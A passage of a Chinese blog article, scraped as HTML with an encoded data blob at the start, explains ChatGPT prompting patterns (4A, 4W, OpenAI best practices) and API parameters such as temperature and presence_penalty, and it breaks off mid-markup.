80539000000005%2C%22height%22%3A15.174769999999967%2C%22text%22%3A%224.%E5%80%9F%E5%8A%A9CHATGPT%2C%E8%AE%A9%E6%82%A8%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E5%8F%98%E5%BE%97%E6%9B%B4%E8%87%AA%E7%84%B6%22%7D%2C%7B%22x%22%3A31.35178%2C%22y%22%3A314.82126%2C%22width%22%3A337.10069999999996%2C%22height%22%3A14.973270000000014%2C%22text%22%3A%225.%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3CHATGPT%2C%E6%8E%A2%E5%AF%BB%E5%85%B6%E5%9C%A8%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86%E4%B8%AD%E7%9A%84%E6%BD%9C%E5%8A%9B%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%2C%E6%96%87%E7%AB%A0%E7%9A%84%E5%86%85%E5%AE%B9%E6%98%AFCHATGPT%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%20%E5%A6%82%E4%B8%8B%E6%98%AF%E4%B8%80%E4%BA%9B%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%E4%BE%9B%E6%82%A8%E5%8F%82%E8%80%83%3A%201.%E6%8E%A2%E7%B4%A2GPT-3%E7%9A%84%E5%90%84%E7%A7%8D%E8%81%8A%E5%A4%A9%E5%BA%94%E7%94%A8%E5%9C%BA%E6%99%AF%202.%E5%88%A9%E7%94%A8CHATGPT%E8%AE%A9%E6%9C%BA%E5%99%A8%E5%8F%98%E5%BE%97%E6%9B%B4%E6%99%BA%E8%83%BD%203.%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8CHATGPT%E5%A2%9E%E5%BC%BA%E6%82%A8%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%204.%E5%80%9F%E5%8A%A9CHATGPT%2C%E8%AE%A9%E6%82%A8%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E5%8F%98%E5%BE%97%E6%9B%B4%E8%87%AA%E7%84%B6%205.%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3CHATGPT%2C%E6%8E%A2%E5%AF%BB%E5%85%B6%E5%9C%A8%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86%E4%B8%AD%E7%9A%84%E6%BD%9C%E5%8A%9B%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fbfafa%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22YsUYk%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc2b2efc2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22fontsize%22%3A14%7D%2C%22data%22%3A%22presence_penalty%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6f1c3665%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6ce6f1df%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22fontsize%22%3A14%7D%2C%22data%22%3A%22presence_penalty%E4%B9%9F%E6%98%AF%E4%B8%80%E4%B8%AA%E6%AF%94%E8%BE%83%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8F%82%E6%95%B0%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E8%BF%99%E4%B8%AA%E5%8F%82%E6%95%B0%E8%AE%A4%E4%B8%BA%E6%98%AF%E8%AF%9D%E9%A2%98%E6%96%B0%E9%B2%9C%E5%BA%A6%EF%BC%8C%E4%B9%9F%E5%8F%AF%E4%BB%A5%E8%AE%A4%E4%B8%BA%E6%98%AF%E8%AF%9D%E9%A2%98%E6%8B%93%E5%B1%95%E7%9A%84%E5%8F%AF%E8%83%BD%E6%80%A7%E3%80%82%E8%BF%99%E4%B8%AA%E5%80%BC%E8%B6%8A%E5%A4%A7%EF%BC%8Cchatgpt%E5%9C%A8%E5%AF%B9%E8%AF%9D%E4%B8%AD%E4%B9%9F%E4%BC%9A%E8%B6%8A%E4%B8%BB%E5%8A%A8%E7%9A%84%E5%8F%91%E8%B5%B7%E6%96%B0%E7%9A%84%E5%88%86%E6%94%AF%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u05fa49db%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u089e1fc2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E5%80%BC%E9%BB%98%E8%AE%A4%E6%98%AF0%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BB%8E-2%E5%88%B02%E4%B9%8B%E9%97%B4%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3e4746a0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u68a8616f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E6%88%91%E8%87%AA%E5%B7%B1%E5%B0%9D%E8%AF%95%E4%BA%86%E4%B8%80%E4%B8%8B%E6%84%9F%E8%A7%89%E8%BF%99%E4%B8%AA%E5%8F%82%E6%95%B0%E7%9A%84%E8%A1%A8%E7%8E%B0%E5%85%B6%E5%AE%9E%E6%AF%94%E8%BE%83%E5%BC%B1%EF%BC%8C%E4%B8%80%E8%88%AC%E7%9A%84%E9%97%AE%E9%A2%98%E5%9B%9E%E5%A4%8D%E5%85%B6%E5%AE%9E%E6%98%AF%E6%84%9F%E5%8F%97%E4%B8%8D%E5%88%B0%E7%9A%84%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22KvcbF%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u47ee5e5e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(18%2C%2018%2C%2018)%22%7D%2C%22data%22%3A%22frequency_penalty%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3fdd91e9%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u71031b86%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(18%2C%2018%2C%2018)%22%7D%2C%22data%22%3A%22frequency_penalty%E6%95%B4%E4%BD%93%E4%B8%8A%E5%92%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4a55c7d3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22fontsize%22%3A14%7D%2C%22data%22%3A%22presence_penalty%E7%B1%BB%E4%BC%BC%EF%BC%8C%E4%B8%BB%E8%A6%81%E6%98%AF%E6%8E%A7%E5%88%B6%E6%80%BB%E4%BD%93%E4%BD%BF%E7%94%A8%E9%A2%91%E7%8E%87%E8%BE%83%E9%AB%98%E7%9A%84%E5%8D%95%E8%AF%8D%E5%92%8C%E7%9F%AD%E8%AF%AD%E6%A6%82%E7%8E%87%EF%BC%8C%E8%BF%99%E4%B8%AA%E5%80%BC%E8%B6%8A%E9%AB%98%EF%BC%8Cchatgpt%E4%B8%AD%E5%B0%B1%E4%BC%9A%E5%B0%BD%E9%87%8F%E5%87%8F%E5%B0%91%E9%87%8D%E5%A4%8D%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua951477b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u06153b30%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E5%80%BC%E9%BB%98%E8%AE%A4%E6%98%AF0%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BB%8E-2%E5%88%B02%E4%B9%8B%E9%97%B4%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22l7AHT%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9f382df1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22max_tokens%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u206c4a68%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u62fcea50%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E6%A0%87%E5%BF%97%E8%BF%94%E5%9B%9E%E7%9A%84token%E9%95%BF%E5%BA%A6%E7%9A%84%E7%A1%AC%E6%88%AA%E6%AD%A2%E9%99%90%E5%88%B6%EF%BC%8C%E8%BF%99%E4%B8%AAtoken%E4%B9%8B%E5%89%8D%E4%B9%9F%E8%AF%B4%E8%BF%87%E5%85%B6%E5%AE%9E%E6%A0%87%E5%BF%97%E6%98%AF%E7%9A%84%E6%98%AF%E5%8D%95%E8%AF%8D%E6%88%96%E8%80%85%E7%9F%AD%E8%AF%AD%EF%BC%8C%E8%BF%99%E4%B8%AA%E8%AE%A1%E7%AE%97%E6%96%B9%E5%BC%8F%E7%9B%B8%E5%BD%93%E5%AE%BD%E6%B3%9B%EF%BC%8C%E6%89%80%E4%BB%A5%E4%B8%80%E8%88%AC%E8%AE%BE%E7%BD%AEmax_tokens%E5%B0%B1%E6%98%AF%E4%B8%BA%E4%BA%86%E4%BF%9D%E5%BA%95%EF%BC%8C%E9%81%BF%E5%85%8D%E6%9F%90%E4%BA%9B%E7%89%B9%E6%AE%8A%E7%9A%84%E9%97%AE%E9%A2%98%E5%AF%BC%E8%87%B4%E8%B6%85%E9%95%BF%E7%9A%84%E5%9B%9E%E5%A4%8D%E6%B5%AA%E8%B4%B9api%E7%9A%84%E8%B5%84%E6%BA%90%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22B5bmA%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8ec232f8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22stop%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8ea2199b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1755ac06%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E4%B8%80%E4%B8%AA%E7%89%B9%E6%AE%8A%E6%A0%87%E8%AE%B0%EF%BC%8C%E5%8F%AF%E4%BB%A5%E5%9C%A8%E6%96%87%E6%9C%AC%E7%94%9F%E6%88%90%E8%BF%87%E7%A8%8B%E4%B8%AD%E6%9A%82%E5%81%9C%E6%96%87%E6%9C%AC%E7%9A%84%E7%94%9F%E6%88%90%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22YOx1p%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u55e279df%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%86%99%E5%9C%A8%E6%9C%80%E5%90%8E%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u243e8ab9%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc320d72a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E6%8E%8C%E6%8F%A1%E4%BA%86ChatGPT%E7%AE%80%E5%8D%95%E9%97%AE%E7%AD%94%E5%BC%8F%E7%9A%84%E7%94%A8%E6%B3%95%EF%BC%8C%E5%B0%B1%E7%9B%B8%E5%BD%93%E4%BA%8E%E6%88%91%E4%BB%AC%E5%B7%B2%E7%BB%8F%E5%AD%A6%E4%BC%9A%E4%BA%86%E7%94%A8%E9%93%B2%E5%AD%90%E9%93%B2%E5%9C%9F%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u685f434a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4f458c29%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A14%7D%2C%22data%22%3A%22%E8%80%8C%E5%9C%A8ChatGPT%E5%9F%BA%E7%A1%80%E4%B8%8A%E5%81%9A%E8%BF%9B%E4%B8%80%E6%AD%A5%E7%9A%84%E6%8E%A2%E7%B4%A2%E7%9B%B8%E5%BD%93%E6%9C%89%E8%B6%A3%EF%BC%8C%E4%B8%8B%E7%AF%87%E6%96%87%E7%AB%A0%E5%B0%B1%E8%AE%B2%E8%AE%B2%E6%80%8E%E4%B9%88%E7%94%A8%E9%93%B2%E5%AD%90%E7%9B%96%E6%88%BF%E5%AD%90%E3%80%82%22%7D%5D%7D%5D%2C%22attrs%22%3A%7B%7D%7D"></ne-clipboard></p><p style="min-height: 24px;"><span>在上篇文章的结尾，我提到了</span><span style="color: rgb(35, 57, 77);font-size: 16px;">ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">其实从ChatGPT诞生至今，所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式，甚至现在已经诞生了所谓的prompt工程师。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>4A &amp; 4W</span></h1><p style="min-height: 24px;"><span style="font-size: 16px;">首先ChatGPT在自然语言的理解上虽然有着领先时代的表现，但事实上ChatGPT并不是你的蛔虫，你试图通过简单的问题获得准确的回答是不可能的，也不现实。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里我也用一下，在讲述这个问题时最常用的“如何减肥”的例子。如果你只是简单的问，那么chatgpt的回答就会模糊而概括。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4219114219114219" width="779.9999830939556" data-type="png" data-w="858" src="https://wechat2rss.xlab.app/img-proxy/?k=483f0e2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUSrqn1KsxNouD7SwjNru3d3A9b19lCAibQETcLYgEL6KQsQKF0J6s9Pw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>随着大家的探索，逐渐诞生了两种常用的扮演法指令模式，也就是4A &amp; 4W。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span>4A: Actor(角色) - Aim(目标) - Ask(提要求) - Addition(补充)</span></p></li></ul><p style="min-height: 24px;"><span>4A模型是Prompt中比较典型的例子，晚上大部分流行的提问方式都是这个结构，还是拿减肥举例子，这一次我提供了我的身高和体重，并且给他赋予了角色定位。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.728538283062645" width="783.6363466515032" data-type="png" data-w="862" src="https://wechat2rss.xlab.app/img-proxy/?k=bac1f3fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicU2nPns6aQbJH1ibdRn8bH0VgMD0CxSrRmpF6QpmIesHzbR2UNJ3xnyAg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>相比之前更简单的提问，ChatGPT给了更具体的回应以及更详细的范例，但实际上在这个范例中，虽然内容详细但事实上没有太具体的计划。</span></p><p style="min-height: 24px;"><span>在这个基础上，又有人提出了4W模型。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span>4W: What(我的情况是) - Will(我想) - Who(你是谁) - Want(我要你)</span></p></li></ul><p style="min-height: 24px;"><span>我们把前面的问题换个问法</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5168408826945412" width="782.7272557621163" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=ae88e2d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUX1PMQwVhNSN12npaTyEvhDgTgasetTLvVy0hH1S3mqK3KyzT8rmtCw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这一次ChatGPT反馈的最大变化就是他会根据我的内容进行发散，进而进一步的反馈详细的内容和反馈。</span></p><p style="min-height: 24px;"><span>事实上ChatGPT对于问题的回答并不是一定的，相比4A模型，4W模型的反馈质量更高反馈也比较直白，在GPT4版本之后发散度也更高，也是现在比较主流的扮演提问法。</span></p><p style="min-height: 24px;"><span>但事实上，4W的基础提问法只是比较通用的问法，但在扮演法可以有更详细的提问方式。比如我们先问问有没有专业的健身教练。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5297549591598599" width="779.0908922045687" data-type="png" data-w="857" src="https://wechat2rss.xlab.app/img-proxy/?k=4eee531f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUJwBqHKicxNLScAHD17Z0woOAkfqH2xaDwLEuJl6C3UUwe1ns0AKdh2A%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>根据他的反馈，我们直接找其中一个人，让ChatGPT扮演这个人来提供建议。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.9099307159353349" width="787.2727102090508" data-type="png" data-w="866" src="https://wechat2rss.xlab.app/img-proxy/?k=214e736c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicU5eLl6G7rK2ttskK2iaIYF3qHviav0Sm2Y65yoF5DosKYhGnNXUiaEsAyw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>在这种情况下，ChatGPT有可能，注意是有可能，会生成带有强烈的个人风格的反馈内容。而这部分内容一般来说有效度会更高，因为他很有可能是基于已有的内容生成的。但这并不绝对，因为ChatGPT还没有真正意义上联网。不过使用这种更详细的扮演法在某些情况下会让你的结果更有效。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>Openai 的官方最佳实践</span></h1><p style="min-height: 24px;"><span>这里我们也一起看一看openai公开的prompt最佳实践，里面其实也是提到了一些我们熟知的，这里我提取几个比较关键的点。</span></p><p style="min-height: 24px;"><span>1、把指令放在Prompt的开头，并且用###或者&#34;&#34;&#34;来分割指令和上下文。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">我需要把下面这段代码压缩到一行<br/>###<br/>var cookieStr = &#39;ppmsglist_action_3907326541=card&#39;;<br/>var cookieArr = cookieStr.split(&#39;; &#39;);<br/>for (var i = 0; i &lt; cookieArr.length; i++) {<br/>	var cookie = cookieArr[i];<br/>	var arr = cookie.split(&#39;=&#39;);<br/>	document.cookie = arr[0] + &#39;=&#39; + arr[1];<br/>}</pre><p style="min-height: 24px;"><span>2、对希望得到的内容的背景、结果、长度、格式、风格尽可能的详细</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.30434782608695654" width="794.545437324146" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=852c6e47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUUzVU9CanC0kruNSvKz7QfDDwbUg1yrz2vJ3D9HA8dHMNTicwmBqEp9w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>3、通过示例阐述所需的输出格式</span></p><p style="min-height: 24px;"><span>其实也很好理解，你可以用一些范例来表达你想要的内容，来帮助chatgpt矫正结果。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.33140877598152424" width="787.2727102090508" data-type="png" data-w="866" src="https://wechat2rss.xlab.app/img-proxy/?k=514a68b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUMRyrUthApohf4cIlMSgvmuWiblCECBl28IJ8SB8ouxaEemWjBBX1ysw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.19010416666666666" width="698.1818030491352" data-type="png" data-w="768" src="https://wechat2rss.xlab.app/img-proxy/?k=d769056c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUkhp6iagM6HSicVuzSiaOgp1Wpj8E5VwkKO82elXpPoaAqQaQjF6mwrrXQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>4、先不提供范例，再尝试给出范例，然后根据返回微调。</span></p><p style="min-height: 24px;"><span>5、减少不精确的描述。</span></p><p style="min-height: 24px;"><span>比起“我想要一段短小的内容”，最好直接指明内容的长度，比如“我想要一段100字左右的内容”</span></p><p style="min-height: 24px;"><span>6、与其说什么不该做，不如说什么该做。</span></p><p style="min-height: 24px;"><span>7、在想要生成代码的时候，使用引导词让模型向特定的模式发展。</span></p><p style="min-height: 24px;"><span>在openai的范例中，他用import作为python的引导词，用select作为sql的引导词。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4851598173515982" width="796.3636191029198" data-type="png" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=38e57e0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUG7FsAhzvTIPP6Ds2GTWdCBcVicGYC1uS7dQYXEoGsQVhfoOd3t4yFIQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>Prompt Engineering</span></h1><p style="min-height: 24px;"><span>其实相比简单的提问式回答，现在的Prompt相关的内容已经相当成熟了，比如github上现在有很多类似的项目，整理了大量的经典Prompt场景</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/PlexPt/awesome-chatgpt-prompts-zh" target="_blank">https://github.com/PlexPt/awesome-chatgpt-prompts-zh</a></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.9171029668411868" width="1041.8181592373815" data-type="png" data-w="1146" src="https://wechat2rss.xlab.app/img-proxy/?k=8c5025a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUDXWBKZ1roNgYQQ9tRUZADDWpG2Hvdq9uZL9aXrJpbVyuEdERBtKZBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>甚至已经有相当成熟的网站分享相关的信息</span><a href="https://www.explainthis.io/zh-hant/chatgpt" target="_blank">https://www.explainthis.io/zh-hant/chatgpt</a></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6194125159642401" width="1423.6363327798772" data-type="png" data-w="1566" src="https://wechat2rss.xlab.app/img-proxy/?k=c00ee265&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicU0u5jzM9MUuK7cmAgBQG8dDV7J57vlfWAYBqhHnv8npaG8XmaufVCLA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除了这种简单的指令分享，甚至还有更牛逼的直接把这个东西直接包装成产品，直接辅助你去写各种prompt。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>额外参数</span></h1><p style="min-height: 24px;"><span>除了简单的对话技巧以及各种方案，ChatGPT还提供了不少的额外参数以影响返回的结果，其中我挑部分我觉得比较有意思的参数</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>temperature</span></h2><p style="min-height: 24px;"><span>temperature这个参数官方给出的解释是，衡量模型输出不太准确信息的频率，temperature越高，输出越随机，并更具有创造性。但相比官方的解释，我们甚至可以把temperature理解为情感值或者温度值。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.285551763367463" width="799.0908917710805" data-type="png" data-w="879" src="https://wechat2rss.xlab.app/img-proxy/?k=e9ffb037&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUCnh6qd6GjzhibTe4ak1d3nHjJU6waMx4J461lFE73ekTibiaqBdmibva1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3287671232876712" width="796.3636191029198" data-type="png" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=f640116a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUboWibLJ84fbfYXPxdIZoA4ViabA7TUicAYjiae8NRzibxJb7Wk4IYrfl2fQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>temperature默认是0.8，最高为2。通常来说，在询问具有创造力的结果时，可以让temperature提高，来获得更有意思的结果。在询问某些事实或者准确的内容时，可以降低temperature来获得更准确的结果。你可以在调用api的时候设置这个参数来控制它。</span></p><p style="min-height: 24px;"><span>这是temperature为0.2时返回的结果。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2857142857142857" width="782.7272557621163" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=2b4366bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUSWtJyuV79hmSA0MvNOpZcpNKUOrQVMoLl0poD0mZpUaIfKvRusHe9w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当temperature为2的时候，chatgpt就有点儿傻，返回的非准确内容中会大量的随机各种结果。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.34597701149425286" width="790.9090737665985" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=5c0f0463&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUDkJoTAdGHUJQWUVj2McY0eu9VUes04OISuaUGiaKmlpA4HhXsIFQNTQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当temperature为1的时候，chatgpt相对比较平衡</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3972602739726027" width="796.3636191029198" data-type="png" data-w="876" 